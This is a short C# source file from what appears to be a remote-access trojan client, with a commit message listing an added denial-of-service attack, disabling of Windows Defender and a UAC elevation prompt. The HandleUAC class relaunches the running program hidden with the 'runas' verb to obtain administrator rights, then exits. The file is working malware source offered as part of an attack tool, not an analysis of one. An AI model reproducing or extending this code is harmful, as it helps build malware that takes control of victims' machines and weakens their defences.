NYAN CAT 73acd52efe Update
Added dos attack
Added disable windows defender
Added ask for uac prompt
Fix install privileges
2019-05-09 06:27:20 -07:00

37 lines
975 B
C#

using Microsoft.Win32;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Security.Principal;
using System.Text;
namespace Client.Handle_Packet
{
public class HandleUAC
{
public HandleUAC()
{
if (new WindowsPrincipal(WindowsIdentity.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator)) return;
try
{
Process proc = new Process
{
StartInfo = new ProcessStartInfo
{
FileName = Process.GetCurrentProcess().MainModule.FileName,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
Verb = "runas"
}
};
proc.Start();
Environment.Exit(0);
}
catch { }
}
}
}